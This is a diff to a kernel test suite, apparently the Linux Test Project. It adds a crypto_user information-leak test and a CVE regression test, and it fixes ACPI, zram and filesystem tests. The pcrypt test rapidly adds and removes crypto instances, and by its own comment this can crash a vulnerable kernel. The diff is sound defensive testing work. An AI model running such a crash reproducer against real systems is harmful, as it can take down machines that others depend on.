+		const struct crypto_report_akcipher *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_akcipher::type", p->type);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_KPP: {
+		const struct crypto_report_kpp *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_kpp::type", p->type);
+		break;
+	}
+	case CRYPTOCFGA_REPORT_ACOMP: {
+		const struct crypto_report_acomp *p = RTA_DATA(rta);
+
+		check_for_leaks("crypto_report_acomp::type", p->type);
+		break;
+	}
+	} /* end switch */
+}
+
+static void validate_one_alg(const struct nlmsghdr *nh)
+{
+	const struct crypto_user_alg *alg = NLMSG_DATA(nh);
+	const struct rtattr *rta = (void *)alg + NLMSG_ALIGN(sizeof(*alg));
+	size_t remaining = NLMSG_PAYLOAD(nh, sizeof(*alg));
+
+	check_for_leaks("crypto_user_alg::cru_name", alg->cru_name);
+	check_for_leaks("crypto_user_alg::cru_driver_name",
+			alg->cru_driver_name);
+	check_for_leaks("crypto_user_alg::cru_module_name",
+			alg->cru_module_name);
+
+	while (RTA_OK(rta, remaining)) {
+		validate_attr(rta);
+		rta = RTA_NEXT(rta, remaining);
+	}
+}
+
+static void validate_alg_list(const void *buf, size_t remaining)
+{
+	const struct nlmsghdr *nh;
+
+	for (nh = buf; NLMSG_OK(nh, remaining);
+	     nh = NLMSG_NEXT(nh, remaining)) {
+		if (nh->nlmsg_seq != ses.seq_num) {
+			tst_brk(TBROK,
+				"Message out of sequence; type=0%hx, seq_num=%u (not %u)",
+				nh->nlmsg_type, nh->nlmsg_seq, ses.seq_num);
+		}
+		if (nh->nlmsg_type == NLMSG_DONE)
+			return;
+		if (nh->nlmsg_type != CRYPTO_MSG_GETALG) {
+			tst_brk(TBROK,
+				"Unexpected message type; type=0x%hx, seq_num=%u",
+				nh->nlmsg_type, nh->nlmsg_seq);
+		}
+		validate_one_alg(nh);
+	}
+}
+
+static void run(void)
+{
+	struct crypto_user_alg payload = { 0 };
+	struct nlmsghdr nh = {
+		.nlmsg_len = sizeof(payload),
+		.nlmsg_type = CRYPTO_MSG_GETALG,
+		.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP,
+		.nlmsg_seq = ++(ses.seq_num),
+		.nlmsg_pid = 0,
+	};
+	/*
+	 * Due to an apparent kernel bug, this API cannot be used incrementally,
+	 * so we just use a large recvmsg() buffer.  This is good enough since
+	 * we don't necessarily have to check every algorithm for this test to
+	 * be effective...
+	 */
+	const size_t bufsize = 1048576;
+	void *buf = SAFE_MALLOC(bufsize);
+	size_t res;
+
+	SAFE_NETLINK_SEND(ses.fd, &nh, &payload);
+
+	res = SAFE_NETLINK_RECV(ses.fd, buf, bufsize);
+
+	validate_alg_list(buf, res);
+
+	free(buf);
+	tst_res(TPASS, "No information leaks found");
+}
+
+static void cleanup(void)
+{
+	tst_crypto_close(&ses);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/crypto/pcrypt_aead01.c b/testcases/kernel/crypto/pcrypt_aead01.c
new file mode 100644
index 0000000..92ce3b2
--- /dev/null
+++ b/testcases/kernel/crypto/pcrypt_aead01.c
@@ -0,0 +1,84 @@
+/*
+ * Copyright (c) 2018 SUSE
+ * Author: Nicolai Stange <nstange@suse.de>
+ * LTP conversion: Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * Originally found by syzkaller:
+ * https://groups.google.com/forum/#!topic/syzkaller-bugs/NKn_ivoPOpk
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ *
+ * Test for CVE-2017-5754 - pcrypt mishandles freeing instances.
+ *
+ * The test works by adding and then removing pcrypt-AEAD instances.
+ * See commit d76c68109f37 crypto: pcrypt - fix freeing pcrypt instances.
+ *
+ * If the bug is present then this will probably crash the kernel, but also
+ * sometimes the test simply times out.
+ */
+
+#include <errno.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_taint.h"
+#include "tst_crypto.h"
+
+#define ATTEMPTS 10000
+
+static struct tst_crypto_session ses = TST_CRYPTO_SESSION_INIT;
+
+void setup(void)
+{
+	tst_crypto_open(&ses);
+}
+
+void run(void)
+{
+	int i;
+	struct crypto_user_alg a = {
+		.cru_driver_name = "pcrypt(authenc(hmac(sha256-generic),cbc(aes-generic)))",
+		.cru_type = CRYPTO_ALG_TYPE_AEAD,
+		.cru_mask = CRYPTO_ALG_TYPE_MASK,
+	};
+
+	for (i = 0; i < ATTEMPTS; ++i) {
+		TEST(tst_crypto_add_alg(&ses, &a));
+		if (TST_RET && TST_RET == -ENOENT) {
+			tst_brk(TCONF | TRERRNO,
+				"pcrypt, hmac, sha256, cbc or aes not supported");
+		}
+		if (TST_RET && TST_RET != -EEXIST)
+			tst_brk(TBROK | TRERRNO, "add_alg");
+
+		TEST(tst_crypto_del_alg(&ses, &a));
+		if (TST_RET)
+			tst_brk(TBROK | TRERRNO, "del_alg");
+	}
+
+	tst_res(TPASS, "Nothing bad appears to have happened");
+}
+
+void cleanup(void)
+{
+	tst_crypto_close(&ses);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.cleanup = cleanup,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/device-drivers/acpi/ltp_acpi.c b/testcases/kernel/device-drivers/acpi/ltp_acpi.c
index d20d38f..f2dc6a4 100644
--- a/testcases/kernel/device-drivers/acpi/ltp_acpi.c
+++ b/testcases/kernel/device-drivers/acpi/ltp_acpi.c
@@ -34,6 +34,7 @@
 static const char dev_path[]	= "/sys/devices/" ACPI_TEST_NAME "/path";
 static const char dev_str[]	= "/sys/devices/" ACPI_TEST_NAME "/str";
 static const char dev_tcase[]	= "/sys/devices/" ACPI_TEST_NAME "/tcase";
+static const char dev_acpi_disabled[] = "/sys/devices/" ACPI_TEST_NAME "/acpi_disabled";
 static const char module_name[]	= "ltp_acpi_cmds.ko";
 static int module_loaded;
 
@@ -141,6 +142,8 @@
 
 int main(int argc, char *argv[])
 {
+	int acpi_disabled;
+
 	tst_parse_opts(argc, argv, NULL, NULL);
 
 	tst_require_root();
@@ -155,6 +158,10 @@
 	tst_module_load(NULL, module_name, NULL);
 	module_loaded = 1;
 
+	SAFE_FILE_SCANF(cleanup, dev_acpi_disabled, "%d", &acpi_disabled);
+	if (acpi_disabled)
+		tst_brkm(TCONF, cleanup, "ACPI is disabled on the system");
+
 	test_run();
 
 	cleanup();
diff --git a/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c b/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c
index 419eb6a..2733753 100644
--- a/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c
+++ b/testcases/kernel/device-drivers/acpi/ltp_acpi_cmds.c
@@ -231,14 +231,25 @@
 
 /* first found device with _STR */
 static acpi_handle dev_handle;
+static int acpi_hw_reduced;
 
 static int acpi_init(void)
 {
 	acpi_status status;
 	acpi_handle parent_handle;
-
+	struct acpi_table_fadt *fadt;
+	struct acpi_table_header *table;
 	struct acpi_device_info *dev_info;
 
+	status = acpi_get_table(ACPI_SIG_FADT, 0, &table);
+	if (ACPI_SUCCESS(status)) {
+		fadt = (struct acpi_table_fadt *)table;
+		if (fadt->flags & ACPI_FADT_HW_REDUCED)
+			acpi_hw_reduced = 1;
+	}
+	if (acpi_hw_reduced)
+		prk_alert("Detected the Hardware-reduced ACPI mode");
+
 	prk_alert("TEST -- acpi_get_handle ");
 	status = acpi_get_handle(NULL, "\\_SB", &parent_handle);
 	if (acpi_failure(status, "acpi_get_handle"))
@@ -312,6 +323,10 @@
 	acpi_status status;
 
 	prk_alert("TEST -- acpi_install_fixed_event_handler");
+	if (acpi_hw_reduced) {
+		prk_alert("Skipped due to the HW-reduced mode");
+		return 0;
+	}
 	status = acpi_install_fixed_event_handler(ACPI_EVENT_POWER_BUTTON,
 		ltp_test_power_button_ev_handler, NULL);
 
@@ -352,6 +367,10 @@
 	u32 global_lock = 0;
 
 	prk_alert("TEST -- acpi_acquire_global_lock ");
+	if (acpi_hw_reduced) {
+		prk_alert("Skipped due to the HW-reduced mode");
+		return 0;
+	}
 	status = acpi_acquire_global_lock(ACPI_EC_UDELAY_GLK, &global_lock);
 	if (acpi_failure(status, "acpi_acquire_global_lock"))
 		return 1;
@@ -448,6 +467,10 @@
 	acpi_status status;
 
 	prk_alert("TEST -- acpi_read_bit_register");
+	if (acpi_hw_reduced) {
+		prk_alert("Skipped due to the HW-reduced mode");
+		return 0;
+	}
 	/*
 	 * ACPICA: Remove obsolete Flags parameter.
 	 * http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;
@@ -537,6 +560,13 @@
 }
 static DEVICE_ATTR(path, S_IRUSR, sys_path, NULL);
 
+static ssize_t sys_acpi_disabled(struct device *dev,
+				    struct device_attribute *attr, char *buf)
+{
+	return scnprintf(buf, PAGE_SIZE, "%d", acpi_disabled);
+}
+static DEVICE_ATTR(acpi_disabled, S_IRUSR, sys_acpi_disabled, NULL);
+
 static ssize_t sys_tcase(struct device *dev,
 	struct device_attribute *attr,  const char *buf, size_t count)
 {
@@ -616,8 +646,16 @@
 		goto err4;
 	}
 
+	err = device_create_file(&tdev, &dev_attr_acpi_disabled);
+	if (err) {
+		prk_err("Can't create sysfs file 'acpi_disabled'");
+		goto err5;
+	}
+
 	return 0;
 
+err5:
+	device_remove_file(&tdev, &dev_attr_path);
 err4:
 	device_remove_file(&tdev, &dev_attr_tcase);
 err3:
diff --git a/testcases/kernel/device-drivers/agp/user_space/user_tagp.c b/testcases/kernel/device-drivers/agp/user_space/user_tagp.c
index 500067e..2bacdda 100644
--- a/testcases/kernel/device-drivers/agp/user_space/user_tagp.c
+++ b/testcases/kernel/device-drivers/agp/user_space/user_tagp.c
@@ -266,11 +266,11 @@
 	else
 		printf("Success on agp_generic_alloc_page\n");
 
-	/* make test calls for agp_generic_destory_page */
+	/* make test calls for agp_generic_destroy_page */
 	if (ki_generic(tagp_fd, TEST_GENERIC_ALLOC_PAGE))
-		printf("Fail on agp_generic_destory_page\n");
+		printf("Fail on agp_generic_destroy_page\n");
 	else
-		printf("Success on agp_generic_destory_page\n");
+		printf("Success on agp_generic_destroy_page\n");
 
 	/* make test calls for agp_enable */
 	if (ki_generic(tagp_fd, TEST_ENABLE))
diff --git a/testcases/kernel/device-drivers/dev_sim_framework/README b/testcases/kernel/device-drivers/dev_sim_framework/README
index b5223aa..bcf90e0 100644
--- a/testcases/kernel/device-drivers/dev_sim_framework/README
+++ b/testcases/kernel/device-drivers/dev_sim_framework/README
@@ -5,7 +5,7 @@
 to compile the program, and run ./test_mod in this case, or whatver
 you have named your program. However, the test kernel module must be
 loaded before the test case can work. If the module is not loaded you
-will recieve an error when attempting to open the module.
+will receive an error when attempting to open the module.
 
 Enter the kernel_space directory, and again type make to compile the
 module. After successful compilation use the load script to load the
diff --git a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c b/testcases/kernel/device-drivers/pci/tpci_user/tpci.c
index 5f9367b..659c542 100644
--- a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c
+++ b/testcases/kernel/device-drivers/pci/tpci_user/tpci.c
@@ -47,7 +47,7 @@
 		tst_module_unload(NULL, module_name);
 }
 
-void setup(int argc, char *argv[])
+void setup(void)
 {
 	tst_require_root();
 
@@ -105,9 +105,9 @@
 	}
 }
 
-int main(int argc, char *argv[])
+int main(void)
 {
-	setup(argc, argv);
+	setup();
 
 	test_run();
 
diff --git a/testcases/kernel/device-drivers/tbio/tbio_kernel/ltp_tbio.c b/testcases/kernel/device-drivers/tbio/tbio_kernel/ltp_tbio.c
index 48cc588..0a9cd40 100644
--- a/testcases/kernel/device-drivers/tbio/tbio_kernel/ltp_tbio.c
+++ b/testcases/kernel/device-drivers/tbio/tbio_kernel/ltp_tbio.c
@@ -562,8 +562,8 @@
 
 static void tbio_exit(void)
 {
-	blk_cleanup_queue(tbio_dev.q);
 	del_gendisk(tbio_dev.gd);
+	blk_cleanup_queue(tbio_dev.q);
 	put_disk(tbio_dev.gd);
 	unregister_blkdev(TBIO_MAJOR, DEVICE_NAME);
 	vfree(tbio_dev.data);
diff --git a/testcases/kernel/device-drivers/zram/zram01.sh b/testcases/kernel/device-drivers/zram/zram01.sh
index 82e9f12..7d3951a 100755
--- a/testcases/kernel/device-drivers/zram/zram01.sh
+++ b/testcases/kernel/device-drivers/zram/zram01.sh
@@ -58,7 +58,7 @@
 
 zram_fill_fs()
 {
-	tst_check_cmds dd free awk
+	tst_test_cmds dd free awk
 	local mem_free0=$(free -m | awk 'NR==2 {print $4}')
 
 	for i in $(seq 0 $(($dev_num - 1))); do
diff --git a/testcases/kernel/device-drivers/zram/zram03.c b/testcases/kernel/device-drivers/zram/zram03.c
index 3f7ab4e..06995fd 100644
--- a/testcases/kernel/device-drivers/zram/zram03.c
+++ b/testcases/kernel/device-drivers/zram/zram03.c
@@ -40,6 +40,9 @@
 int TST_TOTAL = 1;
 
 #define PATH_ZRAM	"/sys/block/zram0"
+#define OBSOLETE_ZRAM_FILE	"/sys/block/zram0/num_reads"
+#define PATH_ZRAM_STAT	"/sys/block/zram0/stat"
+#define PATH_ZRAM_MM_STAT	"/sys/block/zram0/mm_stat"
 #define SIZE		(512 * 1024 * 1024L)
 #define DEVICE		"/dev/zram0"
 
@@ -182,14 +185,49 @@
 	tst_resm(TINFO, "%s is %s", filename, value);
 }
 
+static void print_stat(char *nread, char *nwrite)
+{
+	char nread_val[BUFSIZ], nwrite_val[BUFSIZ];
+
+	SAFE_FILE_SCANF(cleanup, PATH_ZRAM_STAT, "%s %*s %*s %*s %s",
+			nread_val, nwrite_val);
+	tst_resm(TINFO, "%s from %s is %s", nread, PATH_ZRAM_STAT,
+		 nread_val);
+	tst_resm(TINFO, "%s from %s is %s", nwrite, PATH_ZRAM_STAT,
+		 nwrite_val);
+}
+
+static void print_mm_stat(char *orig, char *compr, char *mem, char *zero)
+{
+	char orig_val[BUFSIZ], compr_val[BUFSIZ];
+	char mem_val[BUFSIZ], zero_val[BUFSIZ];
+
+	SAFE_FILE_SCANF(cleanup, PATH_ZRAM_MM_STAT, "%s %s %s %*s %*s %s",
+			orig_val, compr_val, mem_val, zero_val);
+	tst_resm(TINFO, "%s from %s is %s", orig, PATH_ZRAM_MM_STAT,
+		 orig_val);
+	tst_resm(TINFO, "%s from %s is %s", compr, PATH_ZRAM_MM_STAT,
+		compr_val);
+	tst_resm(TINFO, "%s from %s is %s", mem, PATH_ZRAM_MM_STAT,
+		 mem_val);
+	tst_resm(TINFO, "%s from %s is %s", zero, PATH_ZRAM_MM_STAT,
+		 zero_val);
+}
+
 static void dump_info(void)
 {
 	print("initstate");
-	print("compr_data_size");
-	print("orig_data_size");
 	print("disksize");
-	print("mem_used_total");
-	print("num_reads");
-	print("num_writes");
-	print("zero_pages");
+	if (!access(OBSOLETE_ZRAM_FILE, F_OK)) {
+		print("orig_data_size");
+		print("compr_data_size");
+		print("mem_used_total");
+		print("zero_pages");
+		print("num_reads");
+		print("num_writes");
+	} else {
+		print_mm_stat("orig_data_size", "compr_data_size",
+			      "mem_used_total", "zero/same_pages");
+		print_stat("num_reads", "num_writes");
+	}
 }
diff --git a/testcases/kernel/device-drivers/zram/zram_lib.sh b/testcases/kernel/device-drivers/zram/zram_lib.sh
index 224b407..45116af 100755
--- a/testcases/kernel/device-drivers/zram/zram_lib.sh
+++ b/testcases/kernel/device-drivers/zram/zram_lib.sh
@@ -155,7 +155,7 @@
 zram_makeswap()
 {
 	tst_resm TINFO "make swap with zram device(s)"
-	tst_check_cmds mkswap swapon swapoff
+	tst_test_cmds mkswap swapon swapoff
 	local i=0
 	for i in $(seq 0 $(($dev_num - 1))); do
 		mkswap /dev/zram$i > err.log 2>&1
@@ -179,7 +179,7 @@
 
 zram_swapoff()
 {
-	tst_check_cmds swapoff
+	tst_test_cmds swapoff
 	local i=
 	for i in $(seq 0 $dev_makeswap); do
 		swapoff /dev/zram$i > err.log 2>&1
@@ -195,11 +195,11 @@
 
 zram_makefs()
 {
-	tst_check_cmds mkfs which
+	tst_test_cmds mkfs
 	local i=0
 	for fs in $zram_filesystems; do
 		# if requested fs not supported default it to ext2
-		which mkfs.$fs > /dev/null 2>&1 || fs=ext2
+		tst_supported_fs $fs 2> /dev/null || fs=ext2
 
 		tst_resm TINFO "make $fs filesystem on /dev/zram$i"
 		mkfs.$fs /dev/zram$i > err.log 2>&1
diff --git a/testcases/kernel/fs/acls/.gitignore b/testcases/kernel/fs/acls/.gitignore
deleted file mode 100644
index 5fa2fc6..0000000
--- a/testcases/kernel/fs/acls/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-/acl_file_test
-/acl_link_test
diff --git a/testcases/kernel/fs/acls/Makefile b/testcases/kernel/fs/acls/Makefile
deleted file mode 100644
index 4f15643..0000000
--- a/testcases/kernel/fs/acls/Makefile
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-#    kernel/fs/acls testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-check_header = $(shell \
-	if echo "\#include <$(1)>" | $(CC) -E - > /dev/null 2>&1 ; \
-	then echo yes ; \
-	else echo no ; fi)
-
-INSTALL_TARGETS		:= acl_test01
-
-RESULT			:= $(call check_header,sys/xattr.h)
-
-ifneq ($(RESULT),yes)
-MAKE_TARGETS		:=
-endif
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/acls/acl_file_test.c b/testcases/kernel/fs/acls/acl_file_test.c
deleted file mode 100644
index eb30d28..0000000
--- a/testcases/kernel/fs/acls/acl_file_test.c
+++ /dev/null
@@ -1,73 +0,0 @@
-#include <unistd.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <sys/syscall.h>
-#include <fcntl.h>
-#include <sys/xattr.h>
-#include <string.h>
-
-int main(int argc, char *argv[])
-{
-	ssize_t s;
-	char *tok;
-	char value[1024];
-	char list[1024];
-	int rc = 0;
-	char *file;
-	int fd;
-
-	if (argc < 2) {
-		printf("Please enter a file name as argument.\n");
-		return -1;
-	}
-
-	file = argv[1];
-
-	fd = open(file, O_RDONLY);
-	if (fd < 0) {
-		printf("Unable to open file %s !", file);
-		return -1;
-	}
-
-	if (-1 == (s = flistxattr(fd, list, 1024))) {
-		perror("flistxattr");
-		return 1;
-	}
-	if (s == 0) {
-		printf("No xattrs defined for %s, further testcase useless\n",
-		       file);
-		return 1;
-	}
-	tok = strtok(list, "\0");
-	s = fgetxattr(fd, tok, (void *)value, 1024);
-	if (s == -1) {
-		perror("fgetxattr");
-		return 1;
-	}
-	s = fsetxattr(fd, tok, (void *)value, s, 0);
-
-	if (s == -1) {
-		printf
-		    ("User unable to change extended attributes on file %s !\n",
-		     argv[1]);
-		printf("errno = %i\n", errno);
-		rc = 1;
-	}
-	//s = syscall(237, fd,tok); //fremovexattr
-#ifdef __NR_fremovexattr
-	s = syscall(__NR_fremovexattr, fd, tok);	//fremovexattr
-#else
-	s = -1;
-	errno = ENOSYS;
-#endif
-	if (s == -1) {
-		printf("User unable to remove extended attributes file %s !\n",
-		       argv[1]);
-		printf("errno = %i\n", errno);
-		rc = 1;
-	}
-
-	close(fd);
-	return rc;
-}
diff --git a/testcases/kernel/fs/acls/acl_link_test.c b/testcases/kernel/fs/acls/acl_link_test.c
deleted file mode 100644
index 312f686..0000000
--- a/testcases/kernel/fs/acls/acl_link_test.c
+++ /dev/null
@@ -1,56 +0,0 @@
-#include <unistd.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/xattr.h>
-
-int main(int argc, char *argv[])
-{
-	ssize_t s;
-	char *tok;
-	char value[1024];
-	char list[1024];
-	int rc = 0;
-
-	if (argc < 2) {
-		printf("Please enter a file name as argument.\n");
-		return -1;
-	}
-
-	if (-1 == (s = listxattr(argv[1], list, 1024))) {
-		perror("listxattr");
-		return 1;
-	}
-	if (s == 0) {
-		printf("No xattrs defined for %s, further testcase useless\n",
-		       argv[1]);
-		return 1;
-	}
-	tok = strtok(list, "\0");
-	s = getxattr(argv[1], tok, (void *)value, 1024);
-	if (-1 == s) {
-		perror("getxattr");
-		return -1;
-	}
-
-	s = lsetxattr(argv[1], tok, (void *)value, s, 0);
-
-	if (s == -1) {
-		printf("User unable to change extended attributes %s !\n",
-		       argv[1]);
-		printf("errno = %i\n", errno);
-		rc = 1;
-	}
-
-	s = lremovexattr(argv[1], tok);
-	if (s == -1) {
-		printf("User unable to remove extended attributes %s !\n",
-		       argv[1]);
-		printf("errno = %i\n", errno);
-		rc = 1;
-	}
-
-	return rc;
-}
diff --git a/testcases/kernel/fs/acls/acl_test01 b/testcases/kernel/fs/acls/acl_test01
deleted file mode 100755
index 63683e7..0000000
--- a/testcases/kernel/fs/acls/acl_test01
+++ /dev/null
@@ -1,184 +0,0 @@
-#!/bin/sh
-#*********************************************************************
-#   Copyright (c) International Business Machines  Corp., 2003
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : acls
-#
-#  PURPOSE: Tests extended acls
-#
-#  HISTORY:
-#    03/03 Jerone Young  (jyoung5@us.ibm.com)
-#    09/08 Jacky Malcles changing the setup to have this TC started by runltp
-#*********************************************************************
-#
-################################################################
-#
-# Make sure that uid=root is running this script.
-# Make sure that loop device is built into the kernel
-# Make sure that ACL(Access Control List) and Extended Attribute are
-#     built into the kernel
-#
-#
-################################################################
-
-export TCID=acltest01
-export TST_TOTAL=5
-export TST_COUNT=1
-
-. test.sh
-
-TMP=${TMP:=/tmp}
-
-TEST_USER1="acltest1"
-TEST_USER1_GROUP="users"
-TEST_USER1_PASSWD="ltp_test_pass1"
-TEST_USER1_HOMEDIR="$TMP/tacl/mount-ext3/$TEST_USER1"
-
-FILE_ACL="$TMP/tacl/mount-ext3/test_file"
-FILE_ACL_LINK="$TMP/tacl/mount-ext3/test_file_link"
-TCbin=`pwd`
-
-COMMAND=$(command -v "getenforce" "setenforce" |wc -l)
-if [ $COMMAND -eq 2 ]; then
-	SELINUX=$(getenforce)
-else
-	SELINUX=""
-fi
-
-do_setup()
-{
-	tst_require_root
-
-	if ! ( test -d $TMP/tacl || mkdir -m 777 $TMP/tacl) ; then
-		tst_brkm TBROK "Failed to create $TMP/tacl directory."
-	fi
-
-	dd if=/dev/zero of=$TMP/tacl/blkext3 bs=1k count=10240 && chmod 777 $TMP/tacl/blkext3
-	if [ $? -ne 0 ] ; then
-		tst_brkm TBROK "Failed to create $TMP/tacl/blkext3"
-	fi
-
-	if ! LOOP_DEV=$(losetup -f) || [ "x$LOOP_DEV" = x ]; then
-		tst_brkm TCONF "[ losetup.1 ] Failed to find an available loopback device -- is the required support compiled in your kernel?"
-	fi
-
-	if ! losetup $LOOP_DEV $TMP/tacl/blkext3 2>&1 > /dev/null; then
-		echo ""
-		tst_brkm TCONF "[ losetup.2 ] Failed to setup the device."
-	fi
-
-	mount | grep ext2
-	if [ $? -ne 0 ]; then
-		mkfs -t ext3 $LOOP_DEV #> /dev/null 2>&1
-		mkdir  -m 777 $TMP/tacl/mount-ext3
-		mount -t ext3 -o defaults,acl,user_xattr $LOOP_DEV $TMP/tacl/mount-ext3
-		if [ $? -ne 0 ]; then
-			tst_resm TCONF "[ mount ] Make sure that ACL (Access Control List)"
-			tst_resm TCONF "\t and Extended Attribute are built into the kernel\n"
-			tst_brkm TCONF "\t Can not mount ext3 file system with acl and user_xattr options\n"
-		fi
-	else
-		mkfs -t ext2 $LOOP_DEV
-		mkdir  -m 777 $TMP/tacl/mount-ext3
-		mount -t ext2 -o defaults,acl,user_xattr $LOOP_DEV $TMP/tacl/mount-ext3
-		if [ $? -ne 0 ]; then
-			tst_resm TCONF "FAILED: [ mount ] Make sure that ACL (Access Control List)"
-			tst_resm TCONF "\t and Extended Attribute are built into the kernel\n"
-			tst_brkm TCONF "\t Can not mount ext2 file system with acl and user_xattr options\n"
-		fi
-	fi
-
-	# We couldn't consider whether the SElinux is Disable or Permissive.
-	# We only set it to Permissive when it it Enforcing.
-	if [ "$SELINUX" = "Enforcing" ]; then
-		echo "set the SElinux to Permissive."
-		setenforce 0
-	fi
-
-	useradd -d $TEST_USER1_HOMEDIR -m -g $TEST_USER1_GROUP $TEST_USER1 -s /bin/sh
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK "Could not add test user $TEST_USER1."
-	fi
-}
-
-do_cleanup()
-{
-	userdel $TEST_USER1 > /dev/null 2>&1
-	rm -f $FILE_ACL > /dev/null 2>&1
-	rm -f $FILE_ACL_LINK > /dev/null 2>&1
-	mount | grep -q "$TMP/tacl/mount-ext3" && umount -d $TMP/tacl/mount-ext3
-	rm -rf $TMP/tacl
-
-	# We set it back to Enforcing.
-	if [ "$SELINUX" = "Enforcing" ]; then
-		echo "set the SElinux back to Enforcing."
-		setenforce 1
-	fi
-}
-
-do_setup
-TST_CLEANUP=do_cleanup
-
-tst_resm TINFO "Testing ACL for root"
-
-touch $FILE_ACL
-touch $FILE_ACL_LINK
-
-#setup files for extended attributes
-setfacl -mu:root:r $FILE_ACL_LINK
-setfacl -mu:root:r $FILE_ACL
-
-acl_file_test $FILE_ACL
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Extended acls for files."
-else
-	tst_resm TPASS "Extended acls for files."
-fi
-
-acl_link_test $FILE_ACL_LINK
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Extended acls for links."
-else
-	tst_resm TPASS "Extended acls for links."
-fi
-
-chown $TEST_USER1 $FILE_ACL
-chown $TEST_USER1 $FILE_ACL_LINK
-
-tst_resm TINFO "Testing ACL for $TEST_USER1"
-
-#setup files for extended attributes
-setfacl -m u:$TEST_USER1:r $FILE_ACL_LINK
-setfacl -m u:$TEST_USER1:r $FILE_ACL
-
-tst_su $TEST_USER1 "acl_file_test $FILE_ACL"
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Extended acls for files."
-else
-	tst_resm TPASS "Extended acls for files."
-fi
-
-tst_su $TEST_USER1 "acl_link_test $FILE_ACL_LINK"
-if [ $? -ne 0 ]; then
-	tst_resm TFAIL "Extended acls for links."
-else
-	tst_resm TPASS "Extended acls for links."
-fi
-
-tst_exit
diff --git a/testcases/kernel/fs/doio/growfiles.c b/testcases/kernel/fs/doio/growfiles.c
index 02df1b2..eb58ce0 100644
--- a/testcases/kernel/fs/doio/growfiles.c
+++ b/testcases/kernel/fs/doio/growfiles.c
@@ -78,6 +78,8 @@
 #include <sys/time.h>
 #include <sys/param.h>
 #include <sys/signal.h>
+#include <sys/statfs.h>
+#include <sys/vfs.h>
 #include <fcntl.h>
 #include <errno.h>
 #include <string.h>
@@ -367,7 +369,8 @@
 	int stop = 0;		/* loop stopper if set */
 
 	unsigned long curr_size = 0;	/* BUG:14136 (keep track of file size) */
-	const unsigned long ext2_limit = 2147483647;	/* BUG:14136 (2GB ext2 filesize limit) */
+	unsigned long fs_limit = 2147483647; /* BUG:14136 (filesystem size limit is 2G by default) */
+	struct statfs fsbuf;
 
 	int tmp;
 	char chr;
@@ -1360,6 +1363,16 @@
 #endif
 	}
 
+	if (statfs(auto_dir, &fsbuf) == -1) {
+		fprintf(stderr, "%s%s: Unable to get the info of mounted "
+			"filesystem that includes dir %s\n",
+			Progname, TagName, auto_dir);
+		exit(1);
+	}
+
+	/* Compare two values and use the smaller one as limit */
+	fs_limit = MIN(fsbuf.f_bsize * fsbuf.f_bavail / num_files, fs_limit);
+
 	/*
 	 * This is the main iteration loop.
 	 * Each iteration, all files can  be opened, written to,
@@ -1476,14 +1489,14 @@
 			 * if we are dealing with a FIFO file.
 			 */
 
-			/* BUG:14136 (don't go past ext2's filesize limit) */
+			/* BUG:14136 (don't go past filesystem size limit) */
 			curr_size = file_size(fd);
-			if (curr_size + grow_incr >= ext2_limit) {
+			if (curr_size + grow_incr >= fs_limit) {
 				lkfile(fd, LOCK_UN, LKLVL1);	/* release lock */
 				close(fd);
 				sprintf(reason,
